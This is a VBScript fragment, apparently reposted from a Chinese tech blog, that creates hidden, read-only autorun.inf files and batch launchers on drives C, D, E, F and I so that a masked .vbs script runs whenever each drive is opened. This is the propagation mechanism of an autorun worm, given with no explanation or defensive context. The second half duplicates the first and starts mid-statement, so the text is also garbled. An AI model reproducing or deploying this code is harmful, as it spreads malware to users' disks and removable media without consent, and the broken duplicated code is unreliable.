If fso.FileExists(
"C:\autorun.inf")
Then
Set objFolder = fso.GetFile( "C:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>C:\autorun.inf"_
& "&& echo open=XXXXXXX.bat >>C:\autorun.inf"_
& "&& echo shellexecute=XXXXXXXX.bat >>C:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXXX.bat>>C:\autorun.inf"_
& "&& echo shell=Auto>>C:\autorun.inf"_
& "&& attrib +h +s +r C:\autorun.inf"
set autobatc=fso.createtextfile( "c:\XXXXXX.bat",1,ture)
autobatc.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "D:\autorun.inf") Then
Set objFolder = fso.GetFile( "D:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>D:\autorun.inf"_
& "&& echo open=XXXXXXX.bat >>D:\autorun.inf"_
& "&& echo shellexecute=XXXXXX.bat >>D:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXX.bat>>D:\autorun.inf"_
& "&& echo shell=Auto>>D:\autorun.inf"_
& "&& attrib +h +s +r D:\autorun.inf"
set autobatd=fso.createtextfile( "D:\XXXXX.bat",1,ture)
autobatd.writeline( "XXXX.vbs")
End If
If fso.FileExists( "E:\autorun.inf") Then
Set objFolder = fso.GetFile( "E:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>E:\autorun.inf"_
& "&& echo open=XXXXX.bat >>E:\autorun.inf"_
& "&& echo shellexecute=XXXXX.bat >>E:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXX.bat>>E:\autorun.inf"_
& "&& echo shell=Auto>>E:\autorun.inf"_
& "&& attrib +h +s +r E:\autorun.inf"
set autobate=fso.createtextfile( "E:\XXXXX.bat",1,ture)
autobate.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "F:\autorun.inf") Then
Set objFolder = fso.GetFile( "F:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>F:\autorun.inf"_
& "&& echo open=NXXXX.bat >>F:\autorun.inf"_
& "&& echo shellexecute=XXXXXX.bat >>F:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXX.bat>>F:\autorun.inf"_
& "&& echo shell=Auto>>F:\autorun.inf"_
& "&& attrib +h +s +r F:\autorun.inf"
set autobatf=fso.createtextfile( "F:\XXXXX",1,ture)
autobatf.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "I:\autorun.inf") Then
Set objFolder = fso.GetFile( "I:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>I:\autorun.inf"_
& "&& echo open=XXXXX.bat >>I:\autorun.inf"_
& "&& echo shellexecute=XXXXX.bat >>I:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXX.bat>>I:\autorun.inf"_
& "&& echo shell=Auto>>I:\autorun.inf"_
& "&& attrib +h +s +r I:\autorun.inf"
set autobatf=fso.createtextfile( "I:\XXXXX.bat",1,ture)
autobatf.writeline( "XXXXXXX.vbs")
End If
Set objFolder = fso.GetFile( "C:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>C:\autorun.inf"_
& "&& echo open=XXXXXXX.bat >>C:\autorun.inf"_
& "&& echo shellexecute=XXXXXXXX.bat >>C:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXXX.bat>>C:\autorun.inf"_
& "&& echo shell=Auto>>C:\autorun.inf"_
& "&& attrib +h +s +r C:\autorun.inf"
set autobatc=fso.createtextfile( "c:\XXXXXX.bat",1,ture)
autobatc.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "D:\autorun.inf") Then
Set objFolder = fso.GetFile( "D:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>D:\autorun.inf"_
& "&& echo open=XXXXXXX.bat >>D:\autorun.inf"_
& "&& echo shellexecute=XXXXXX.bat >>D:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXX.bat>>D:\autorun.inf"_
& "&& echo shell=Auto>>D:\autorun.inf"_
& "&& attrib +h +s +r D:\autorun.inf"
set autobatd=fso.createtextfile( "D:\XXXXX.bat",1,ture)
autobatd.writeline( "XXXX.vbs")
End If
If fso.FileExists( "E:\autorun.inf") Then
Set objFolder = fso.GetFile( "E:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>E:\autorun.inf"_
& "&& echo open=XXXXX.bat >>E:\autorun.inf"_
& "&& echo shellexecute=XXXXX.bat >>E:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXX.bat>>E:\autorun.inf"_
& "&& echo shell=Auto>>E:\autorun.inf"_
& "&& attrib +h +s +r E:\autorun.inf"
set autobate=fso.createtextfile( "E:\XXXXX.bat",1,ture)
autobate.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "F:\autorun.inf") Then
Set objFolder = fso.GetFile( "F:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>F:\autorun.inf"_
& "&& echo open=NXXXX.bat >>F:\autorun.inf"_
& "&& echo shellexecute=XXXXXX.bat >>F:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXX.bat>>F:\autorun.inf"_
& "&& echo shell=Auto>>F:\autorun.inf"_
& "&& attrib +h +s +r F:\autorun.inf"
set autobatf=fso.createtextfile( "F:\XXXXX",1,ture)
autobatf.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "I:\autorun.inf") Then
Set objFolder = fso.GetFile( "I:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>I:\autorun.inf"_
& "&& echo open=XXXXX.bat >>I:\autorun.inf"_
& "&& echo shellexecute=XXXXX.bat >>I:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXX.bat>>I:\autorun.inf"_
& "&& echo shell=Auto>>I:\autorun.inf"_
& "&& attrib +h +s +r I:\autorun.inf"
set autobatf=fso.createtextfile( "I:\XXXXX.bat",1,ture)
autobatf.writeline( "XXXXXXX.vbs")
End If
本文转自sucre03 51CTO博客,原文链接:http://blog.51cto.com/sucre/354212,如需转载请自行联系原作者